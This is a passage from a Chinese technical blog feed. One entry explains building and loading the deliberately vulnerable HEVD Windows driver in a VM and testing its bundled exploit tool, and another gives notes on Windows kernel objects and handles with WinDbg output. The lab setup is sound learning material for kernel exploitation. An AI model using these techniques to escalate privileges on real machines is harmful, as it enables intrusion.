id="build-hevd-secure-vulnerable">Build HEVD Secure/Vulnerable</h3><p>从字面上其实可以理解，其实这两个驱动版本分别是<strong>带有漏洞的驱动</strong>以及<strong>修复后的驱动</strong>。其实两个脚本的区别就是是否设置<code>SECURE</code>这个编译变量。在源码中，设置了<code>SECURE</code>全局变量的代码将会使用安全措施，修补当前漏洞，具体来说就是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">        DbgPrint(<span class="string">&quot;[+] UserDoubleFetch: 0x%p\n&quot;</span>, UserDoubleFetch);</span><br><span class="line">        DbgPrint(<span class="string">&quot;[+] KernelBuffer: 0x%p\n&quot;</span>, &amp;KernelBuffer);</span><br><span class="line">        DbgPrint(<span class="string">&quot;[+] KernelBuffer Size: 0x%X\n&quot;</span>, <span class="keyword">sizeof</span>(KernelBuffer));</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> SECURE</span></span><br><span class="line">        UserBuffer = UserDoubleFetch-&gt;Buffer;</span><br><span class="line">        UserBufferSize = UserDoubleFetch-&gt;Size;</span><br><span class="line"></span><br><span class="line">        DbgPrint(<span class="string">&quot;[+] UserDoubleFetch-&gt;Buffer: 0x%p\n&quot;</span>, UserBuffer);</span><br><span class="line">        DbgPrint(<span class="string">&quot;[+] UserDoubleFetch-&gt;Size: 0x%X\n&quot;</span>, UserBufferSize);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (UserBufferSize &gt; <span class="keyword">sizeof</span>(KernelBuffer)) &#123;</span><br><span class="line">            DbgPrint(<span class="string">&quot;[-] Invalid Buffer Size: 0x%X\n&quot;</span>, UserBufferSize);</span><br><span class="line"></span><br><span class="line">            Status = STATUS_INVALID_PARAMETER;</span><br><span class="line">            <span class="keyword">return</span> Status;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Secure Note: This is secure because the developer is fetching</span></span><br><span class="line">        <span class="comment">// &#x27;UserDoubleFetch-&gt;Buffer&#x27; and &#x27;UserDoubleFetch-&gt;Size&#x27; from user</span></span><br><span class="line">        <span class="comment">// mode just once and storing it in a temporary variable. Later, this</span></span><br><span class="line">        <span class="comment">// stored values are passed to RtlCopyMemory()/memcpy(). Hence, there</span></span><br><span class="line">        <span class="comment">// will be no race condition</span></span><br><span class="line">        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br></pre></td></tr></table></figure><p>将这些有漏洞的程序以<code>IOCTLHandle</code>的形式注册为<code>Driver Routine</code>，于是就能够通过<code>IOCTL</code>选择此时需要触发的漏洞程序。<br>然而这个给出的编译脚本使用的是早期WDK，大约是 WDK7 前后的版本，从之后的版本之中就不再使用这个脚本来设置编译选项，也不会使用<code>build</code>来进行编译（使用的是MSBuild）。如果依然想用命令行进行编译的话，可以参考<br><a href="https://social.msdn.microsoft.com/Forums/sqlserver/en-US/100cee1b-30b6-46ec-b3aa-729142f60285/how-to-build-a-driver-using-the-command-line-msbuild?forum=wdk">https://social.msdn.microsoft.com/Forums/sqlserver/en-US/100cee1b-30b6-46ec-b3aa-729142f60285/how-to-build-a-driver-using-the-command-line-msbuild?forum=wdk</a><br>并且还需要修改原先的<code>.sln</code>文件，不然的话编译过程还是会出问题。。。<br>为了图方便，这里就使用了<code>Visual Studio</code>自带的编译器进行编译。安装了WDK之后，新建项目的时候可以直接从VS中找到Driver的Solution<br><img src="/2019/06/16/WindowKernelExploit00/win01.png" alt=""><br>由于是Driver（并且是<code>.sys</code>文件），这里就使用<code>Kernel Mode Driver，Empty</code>这个选项，之后将所有的源代码都拷贝进去。然后在<code>项目-&gt;属性-&gt;C/C++-&gt;常规</code>处，把警告等级设置的低一些（不然会警告未生成<code>obj</code>文件），然后在<code>项目-&gt;属性-&gt;Driver Settings-&gt;General</code>根据自己的需要设置需要编译的平台。之后再去编译就能完成对驱动的编译了。</p><h3 id="测试结果">测试结果</h3><p>如果都编译完成之后，将README中用于(load driver)[<a href="https://www.osronline.com/article.cfm?article=157">https://www.osronline.com/article.cfm?article=157</a>]的工具下载一下（建议再搞一个dbgview用来查看内核的log输出），基本上就大功告成。然后将这些东西都扔到虚拟机里面，首先使用工具，将驱动安装上去，之后可以用<code>sc query HackSysExtremeVulnerableDriver</code>对驱动进行检测。如果打印当前驱动的状态是<code>Running</code>，那就说明安装成功，此时我们可以尝试运行之前编译好的<code>HackSysEVDExploit.exe</code>，然后随便选取一个攻击手法进行攻击（也就是它后面跟着的那些参数），然后用<code>-c cmd</code>弹出一个计算器，就能够知道是否攻击成功了。<br><img src="/2019/06/16/WindowKernelExploit00/win03.png" alt=""><br><img src="/2019/06/16/WindowKernelExploit00/win02.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近因为工作原因看了&lt;code&gt;Windows Subsystem for Linux&lt;/code&gt;相关的内容（之后也整理到博客上吧），顺手就看到一个EXP，讲的是可以从 WSL 中实现 Windows 层面的提权。当时就想好好的研究了一下Window内核Exploit，于是趁热打铁搞了个&lt;code&gt;HACKSYS EXTREME VULNERABLE DRIVER&lt;/code&gt;来玩&lt;/p&gt;
&lt;h2 id=&quot;more-window-kernel-exploit-00&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>Windows Via C/C++ note 3</title>
    <link href="https://showlinkroom.me/2019/04/26/Windows-Via-C-C-note-3/"/>
    <id>https://showlinkroom.me/2019/04/26/Windows-Via-C-C-note-3/</id>
    <published>2019-04-26T14:58:19.000Z</published>
    <updated>2023-10-22T09:05:17.281Z</updated>
    
    <content type="html"><![CDATA[<p>和第二篇隔了好久。。。但是其实是懒得推上博客（吗</p><span id="more"></span><h2 id="内核对象-kernel-object">内核对象 (Kernel Object)</h2><p>在 Windows 操作系统中，有很多涉及到底层的操作，例如文件操作，进程操作，注册表操作，网络操作，事件操作等等。为了能够将用户从繁琐的内核操作中分离出来，Windows 提供了很多的 API 函数来帮助用户能够更好的操作，例如对于文件操作，我们有<code>CreateFile</code>,<code>WriteFile</code>; 对于进程，我们可以使用<code>CreateProcess</code>，也有<code>CreateToolhelp32Snapshot</code> 这样的操作函数。这些函数操作的对象就是我们本文要讨论的<strong>内核对象</strong>。例如:</p><ul><li>文件对象</li><li>事件对象</li><li>互斥量(Mutex)对象</li><li>管道(Pipe)对象</li><li>进程对象</li><li>线程对象<br>…</li></ul><p>这些内核对象都是一个内存块，由操作系统内核进行分配，并且也只能由操作系统内核访问。内核对象中的属性随着内核种类的变化而变化。形如进程对象拥有 PID 的属性，而文件对象有一个字节偏移数作为参数。但是大部分的内核对象都有下列两个属性</p><ul><li>使用计数</li><li>安全描述符</li></ul><p>这些属性只能够由操作系统内核进行修改和使用，从而避免应用程序对内核进行过多的修改。</p><h2 id="句柄-handle">句柄(Handle)</h2><p>上文中提到，内核对象只能够由内核进行处理，那么应用程序应该如何访问这些对象呢？答案就是使用句柄(Handle)。当调用一个创建内核对象的函数后，系统会生成一个句柄返回到应用层。之后应用层将会使用这个句柄对对应的内核对象进行操作</p><p>// ###(插图:句柄指向内核）<br>为了保证操作系统的可靠性，句柄的值是与<strong>进程相关</strong>的，但是同时，句柄也支持在不同的进程间共享。</p><h3 id="内核对象的生命周期">内核对象的生命周期</h3><p>由于内核对象可以被多个进程共享，所以即使说由进程A创建了一个内核对象，在进程A结束之后。在进程B中也使用了同一个内核对象，此对象也不应该被回收。为了实现这点，每个内核对象都由一个使用计数的参数，用来表示<strong>当前有多少个进程在使用当前内核对象</strong>。当没有进程使用当前内核对象的时候，该使用计数会变为0。操作系统会检测内核对象的引用次数，当次数为0的时候就会 <em>销毁当前对象（不完全是这样）</em> ，这样的话就能够保证系统中不存在没有被任何进程引用的内核对象。</p><p>让引用计数减少的最基本的方法就是调用函数<code>CloseHandle</code>，每当关闭一个句柄，就算是减少了一次对当前内核次数的引用</p><p>**： 上文提到，内核对象的引用计数变为0的时候会销毁对象，并且调用<code>CloseHandle</code>的时候会减少引用次数这种说法不完全正确。比如说当使用<code>CreateProcess</code>创建的进程对象在被<code>CloseHandle</code>之后也会继续运行直到程序结束，而<code>CreateFileMapping</code>创建的共享空间句柄就会因为<code>CloseHandle</code>而导致内核对象被销毁。个人理解，销毁与否关键取决于当前内核对象所管理的对象是否结束（比如说进程的话要等进程运行结束才算是结束，而内存空间只要没有任何东西运行，所以关闭之后就相当于是当前引用结束了）</p><h3 id="安全描述符-sd">安全描述符(SD)</h3><p><em>安全描述符之前接触比较少，之后应该会单独开篇来讲一下这个东西，这里就简单介绍一下。</em><br>内核对象的访问限制。一个安全描述符主要描述这些事情:</p><ul><li>当前对象的拥有着(一般就是当前对象的创建者)</li><li>哪些组/用户能够访问或者使用该对象</li><li>哪些组/用户被拒绝访问当前对象</li></ul><p>在内核中可以通过一个叫做 SECURITY_ATTRIBUTES 的结构进行设置。</p><h3 id="句柄表"><em>句柄表</em></h3><p><em>这个概念是由这本书提出来的，并不保证实际情况就是如此</em><br>进程初始化的时候，将会由操作系统为其分配一个句柄表。这个句柄表相当于是一个数据结构类似的东西，然后里面包含一个内核对象的指针，一个访问掩码(access masl)还有一些标志</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br><span class="line">| index | 指向内核对象内存块的指针  | 访问掩码(包含标志未的一个DWORD) |     标志    |</span><br><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br><span class="line">| 0x10  |      0xF0001000         |           0x????????          | 0x00000001 |</span><br><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br><span class="line">| 0x20  |      0x00000000         |           （不可用）           |  （不可用） |</span><br><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br></pre></td></tr></table></figure><p>如上，为一个记录了有效句柄的句柄表。其中索引1为一个有效的内核对象的句柄。</p><p>当使用创建内核对象的函数时，就会对当前的表格进行填充。这类函数形如:</p><ul><li>CreateThread</li><li>CreateFile</li><li>CreateFileMapping</li><li>CreateSemaphre(信号量)</li></ul><p>通过这些函数得到的句柄可以被同一进程中的所有线程共同使用。在使用句柄的时候，Windows进程往往会将当前的句柄值右移两位作为真正的句柄值。所以第一个有效的句柄值往往是4。（众所周知，在 Windows 操作系统中，System 进程的 PID 值为4，这里可能有所关联）</p><h3 id="作用域">作用域</h3><p>正如前文提到的，内核对象是存放在内核空间中的，部分的API会听过为内核对象命名的操作。通过使用名字访问的话，就相当于是跨进程，此时被称为放在<strong>全局命名空间</strong>。若不使用命名的话，则是在同一进程中共享。<br>然而，在 Windows Vista 之后，对于命名有了要求。<strong>全局命名空间名必须要为</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Global\ObjectName</span><br></pre></td></tr></table></figure><p>的形式。<br>同样我们也能够显示的指明一个对象放入<strong>当前会话空间</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Local\ObjectName</span><br></pre></td></tr></table></figure><p>这是因为， Windows Vista 之后，在 Windows 登陆的时候会创建一个叫做 Session 0 的会话。在这个会话中的服务都是在登陆期间执行的。通过这样做能够有效的将应用程序和系统服务进行隔离。同样，每一个登陆的用户都将获得一个会话（一般是从 Session 1开始）不同的用户可以登陆不同的会话。</p><h3 id="内核对象观测">内核对象观测</h3><p>推荐一个 Sysinternals 提供的工具（似乎是被微软收购了），叫做<a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer">Process Explorer</a><br><em>严肃警告:这个公司的软件都会装驱动，还想玩游戏的个位千万千万不要装到跑游戏的机器里面，相关故事请参考<a href="http://showlinkroom.me/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/">我的惨痛经历</a>，顺便里面提到的Procmon其实在检测文件行为的时候还是蛮好用的</em></p><p><em>2020.5.2 更新</em></p><h3 id="关于内存对象的观测">关于内存对象的观测</h3><p>上面的讲述都过于干涩，毕竟没有实际的例子。那么我们如何去观察一个内核对象呢？首先我们知道在内核调试模式下，使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">!handle 0 0</span><br></pre></td></tr></table></figure><p>能够列出当前进程中所有使用的句柄对象。举个例子，我们可以看到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !handle 94</span><br><span class="line"></span><br><span class="line">PROCESS aed07600  SessionId: 1  Cid: 1b90    Peb: 00451000  ParentCid: 0d24</span><br><span class="line">    DirBase: 3ffd35c0  ObjectTable: af3f4540  HandleCount:  38.</span><br><span class="line">    Image: Exploit.exe</span><br><span class="line"></span><br><span class="line">Handle table at af3f4540 with 38 entries in use</span><br><span class="line"></span><br><span class="line">0094: Object: aed07600  GrantedAccess: 00001400 Entry: 8b83a128</span><br><span class="line">Object: aed07600  Type: (8639b480) Process</span><br><span class="line">    ObjectHeader: aed075e8 (new version)</span><br><span class="line">        HandleCount: 7  PointerCount: 217</span><br></pre></td></tr></table></figure><p>这个句柄94表示的是<strong>一个叫做Exploit.exe进程的进程对象</strong>。Windows 将所有的一切都封装成了对象，进程也一样，所以我们可以看到这里:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0094: Object: aed07600  GrantedAccess: 00001400 Entry: 8b83a128</span><br><span class="line">Object: aed07600  Type: (8639b480) Process</span><br><span class="line">    ObjectHeader: aed075e8 (new version)</span><br><span class="line">                     ^</span><br><span class="line">                     |</span><br><span class="line">        这里正是这个对象（object）在内存中的位置</span><br><span class="line">        HandleCount: 7  PointerCount: 217</span><br></pre></td></tr></table></figure><p>如果我们需要观察这个对象的话，只需要键入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt _Object_header aed075e8</span><br><span class="line">nt!_OBJECT_HEADER</span><br><span class="line">   +0x000 PointerCount     : 0n217</span><br><span class="line">   +0x004 HandleCount      : 0n7</span><br><span class="line">   +0x004 NextToFree       : 0x00000007 Void</span><br><span class="line">   +0x008 Lock             : _EX_PUSH_LOCK</span><br><span class="line">   +0x00c TypeIndex        : 0xe1 &#x27;&#x27;</span><br><span class="line">   +0x00d TraceFlags       : 0 &#x27;&#x27;</span><br><span class="line">   +0x00d DbgRefTrace      : 0y0</span><br><span class="line">   +0x00d DbgTracePermanent : 0y0</span><br><span class="line">   +0x00e InfoMask         : 0x88 &#x27;&#x27;</span><br><span class="line">   +0x00f Flags            : 0 &#x27;&#x27;</span><br><span class="line">   +0x00f NewObject        : 0y0</span><br><span class="line">   +0x00f KernelObject     : 0y0</span><br><span class="line">   +0x00f KernelOnlyAccess : 0y0</span><br><span class="line">   +0x00f ExclusiveObject  : 0y0</span><br><span class="line">   +0x00f PermanentObject  : 0y0</span><br><span class="line">   +0x00f DefaultSecurityQuota : 0y0</span><br><span class="line">   +0x00f SingleHandleEntry : 0y0</span><br><span class="line">   +0x00f DeletedInline    : 0y0</span><br><span class="line">   +0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION</span><br><span class="line">   +0x010 QuotaBlockCharged : 0x8d2952c0 Void</span><br><span class="line">   +0x014 SecurityDescriptor : 0xa7a77596 Void</span><br><span class="line">   +0x018 Body             : _QUAD</span><br></pre></td></tr></table></figure><p>就能看到这个内存对象的基本信息啦。后续如果想要知道如何通过<code>_OBJECT_HEADER</code>查看当前对象的类型的话，可以使用<a href="https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a">https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a</a>提到的方法</p><h3 id="关于内核对象的一些路径问题">关于内核对象的一些路径问题</h3><p>当使用<code>!object \</code>的时候，可以观测到位于<code>\</code>目录的对象</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt;  !object \</span><br><span class="line">Object: ffff938d802163a0  Type: (ffffaa858f22c990) Directory</span><br><span class="line">    ObjectHeader: ffff938d80216370 (new version)</span><br><span class="line">    HandleCount: 0  PointerCount: 50</span><br><span class="line">    Directory Object: 00000000  Name: \</span><br><span class="line"></span><br><span class="line">    Hash Address          Type                      Name</span><br><span class="line">    ---- -------          ----                      ----</span><br><span class="line">     01  ffffaa859002bba0 Mutant                    PendingRenameMutex</span><br><span class="line">         ffffaa858fc14680 FilterConnectionPort      DfsrRoFltCommunicationPort</span><br><span class="line">         ffff938d8021ab50 Directory                 ObjectTypes</span><br><span class="line">     02  ffffaa85913a8fb0 FilterConnectionPort      WcnfsPort</span><br><span class="line">         ffffaa85911e8220 FilterConnectionPort      storqosfltport</span><br><span class="line">     05  ffff938d8022c1c0 SymbolicLink              SystemRoot</span><br><span class="line">     06  ffff938d817a8080 Directory                 Sessions</span><br><span class="line">     08  ffff938d8022c700 Directory                 ArcName</span><br><span class="line">     09  ffffaa8590251d30 FilterConnectionPort      WcifsPort</span><br><span class="line">         ffff938d802bfc90 Directory                 NLS</span><br><span class="line">     10  ffffaa859102db20 Event                     LanmanServerAnnounceEvent</span><br><span class="line">         ffffaa85913b8ad0 ALPC Port                 ThemeApiPort</span><br><span class="line">         ffff938d8179ea60 Directory                 Windows</span><br><span class="line">         ffff938d8021a7c0 Directory                 GLOBAL??</span><br><span class="line">     11  ffff938d815ff640 Directory                 RPC Control</span><br><span class="line">         ffffaa858fa74b10 ALPC Port                 PdcPort</span><br><span class="line">     13  ffffaa85907d1130 Event                     EFSInitEvent</span><br><span class="line">     14  ffff938d815eb530 SymbolicLink              Dfs</span><br><span class="line">         ffffaa858fc26620 Device                    clfs</span><br><span class="line">     15  ffffaa8590470550 Event                     CsrSbSyncEvent</span><br><span class="line">         ffffaa85900498b0 ALPC Port                 SeRmCommandPort</span><br><span class="line">         ffffaa85902f4500 Device                    DfsServer</span><br><span class="line">     16  ffff938d8021a1d0 SymbolicLink              DosDevices</span><br><span class="line">     17  ffffaa85911cb230 Event                     DSYSDBG.Debug.Trace.Memory.2b8</span><br><span class="line">         ffff938d81783330 Directory                 KnownDlls32</span><br><span class="line">     18  ffff938d8023c220 Key                       \REGISTRY</span><br><span class="line">     19  ffff938d824cbea0 Directory                 BaseNamedObjects</span><br><span class="line">     20  ffff938d81a11850 Section                   Win32kCrossSessionGlobals</span><br></pre></td></tr></table></figure><p>通过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">!object address</span><br></pre></td></tr></table></figure><p>我们能展开看这个对象的一些细节信息。例如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !object ffff938d8021a1d0 &lt;--- 这个是</span><br><span class="line">Object: ffff938d8021a1d0  Type: (ffffaa858f2b1f20) SymbolicLink</span><br><span class="line">    ObjectHeader: ffff938d8021a1a0 (new version)</span><br><span class="line">    HandleCount: 0  PointerCount: 1</span><br><span class="line">    Directory Object: ffff938d802163a0  Name: DosDevices</span><br><span class="line">    Flags: 00000000 ( Local )</span><br><span class="line">    Target String is &#x27;\??&#x27;</span><br></pre></td></tr></table></figure><p>这里提到的<code>Target String</code>可以在用户态使用。</p><p>其次，我们能发现，形如<code>ObjectTypes</code>这种用于表示一个对象的类型的对象也会存放在这里。然后也可以用同样的方法检查类型</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt;  !object \ObjectTypes</span><br><span class="line">Object: ffff938d8021ab50  Type: (ffffaa858f22c990) Directory</span><br><span class="line">    ObjectHeader: ffff938d8021ab20 (new version)</span><br><span class="line">    HandleCount: 0  PointerCount: 60</span><br><span class="line">    Directory Object: ffff938d802163a0  Name: ObjectTypes</span><br><span class="line"></span><br><span class="line">    Hash Address          Type                      Name</span><br><span class="line">    ---- -------          ----                      ----</span><br><span class="line">     00  ffffaa858f38d560 Type                      TmTm</span><br><span class="line">     01  ffffaa858f234c60 Type                      Desktop</span><br><span class="line">         ffffaa858f226510 Type                      Process</span><br><span class="line">     02  ffffaa858f37af20 Type                      RegistryTransaction</span><br><span class="line">     03  ffffaa858f230f20 Type                      DebugObject</span><br><span class="line">     04  ffffaa8590078e60 Type                      VRegConfigurationContext</span><br><span class="line">         ffffaa858f5d5250 Type                      DmaDomain</span><br><span class="line">         ffffaa858f392f20 Type                      TpWorkerFactory</span><br><span class="line">     05  ffffaa858f389f20 Type                      Adapter</span><br><span class="line">         ffffaa858f234350 Type                      Token</span><br><span class="line">     06  ffffaa8590106890 Type                      DxgkSharedResource</span><br><span class="line">     07  ffffaa858f2bfdc0 Type                      PsSiloContextPaged</span><br><span class="line">     08  ffffaa858fc656c0 Type                      NdisCmState</span><br><span class="line">     09  ffffaa858f9a38c0 Type                      PcwObject</span><br><span class="line">         ffffaa858f3ef320 Type                      WmiGuid</span><br><span class="line">     11  ffffaa858f5d0220 Type                      DmaAdapter</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后，我们能看到一个叫做<code>BaseNamedObjects</code>的目录，这个目录中存放的都是<code>global namespace</code>（全局对象），与之相对的是<code>session namespace</code>（会话对象）</p><p>然后在<code>Sessions</code>包含了每一个会话空间。一般创建的对象都在单独的会话空间，除非声明要创建到全局对象空间中。此时要使用<code>Global\</code>前缀</p><p>而<code>Glibal\??</code>表示一个符号链接，用于为每一个应用使用。例如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !object \global??</span><br><span class="line">Object: ffff938d8021a7c0  Type: (ffffaa858f22c990) Directory</span><br><span class="line">    ObjectHeader: ffff938d8021a790 (new version)</span><br><span class="line">    HandleCount: 2  PointerCount: 32786</span><br><span class="line">    Directory Object: ffff938d802163a0  Name: GLOBAL??</span><br><span class="line"></span><br><span class="line">    Hash Address          Type                      Name</span><br><span class="line">    ---- -------          ----                      ----</span><br><span class="line">     00  ffff938d844ba750 SymbolicLink              SWD#PRINTENUM#&#123;466D5266-8EE9-4A99-8464-95665F2C8B67&#125;#&#123;0ecef634-6ef0-472a-8085-5ad023ecbccd&#125;</span><br><span class="line">         ffff938d8241ff00 SymbolicLink              DISPLAY5</span><br><span class="line">         ffff938d8119ab60 SymbolicLink              HID#VID_0E0F&amp;PID_0003&amp;MI_00#8&amp;33601b94&amp;0&amp;0000#&#123;378de44c-56ef-11d1-bc8c-00a0c91405dd&#125;</span><br><span class="line">         ffff938d817c7110 SymbolicLink              D:</span><br><span class="line">     22  ffff938d817a82d0 SymbolicLink              MAILSLOT</span><br><span class="line">         ffff938d812ebb70 SymbolicLink              HarddiskVolume1</span><br><span class="line">     23  ffff938d817df9a0 SymbolicLink              INTELPRO_&#123;3A3CEE8A-970D-4E0F-971A-18138E118FB2&#125;</span><br><span class="line">         ffff938d813c8570 SymbolicLink              HarddiskVolume2</span><br><span class="line">         ffff938d812e2560 SymbolicLink              Ntfs</span><br><span class="line">         ///..........</span><br><span class="line">     31  ffff938d844837c0 SymbolicLink              MQAC</span><br><span class="line">         ffff938d817f39a0 SymbolicLink              HDAUDIO#FUNC_01&amp;VEN_15AD&amp;DEV_1975&amp;SUBSYS_15AD1975&amp;REV_1001#5&amp;322e5e46&amp;0&amp;0001#&#123;86841137-ed8e-4d97-9975-f2ed56b4430e&#125;</span><br><span class="line">         ffff938d812848d0 SymbolicLink              PartmgrControl</span><br><span class="line">     32  ffff938d817a9f20 SymbolicLink              PIPE</span><br><span class="line">         ffff938d812a6680 SymbolicLink              PciControl</span><br><span class="line">         ffff938d80216560 SymbolicLink              GLOBALROOT</span><br><span class="line">     33  ffff938d824f08a0 SymbolicLink              DISPLAY#Default_Monitor#4&amp;31be19fa&amp;0&amp;UID0#&#123;866519b5-3f07-4c97-b7df-24c5d8a8ccb8&#125;</span><br><span class="line">         ffff938d811a7840 SymbolicLink              USB#VID_0E0F&amp;PID_0003#6&amp;38eee119&amp;0&amp;5#&#123;a5dcbf10-6530-11d2-901f-00c04fb951ed&#125;</span><br><span class="line">         ffff938d817a2cb0 SymbolicLink              AUX</span><br><span class="line">         ffff938d813d0fd0 SymbolicLink              C:</span><br><span class="line">         ffff938d802727d0 SymbolicLink              ACPI#FixedButton#2&amp;daba3ff&amp;1#&#123;4afa3d53-74a7-11d0-be5e-00a0c9062857&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;和第二篇隔了好久。。。但是其实是懒得推上博客（吗&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>MFC-first</title>
    <link href="https://showlinkroom.me/2019/04/26/MFC-first/"/>
    <id>https://showlinkroom.me/2019/04/26/MFC-first/</id>
    <published>2019-04-26T14:44:22.000Z</published>
    <updated>2020-07-16T13:31:30.393Z</updated>
    
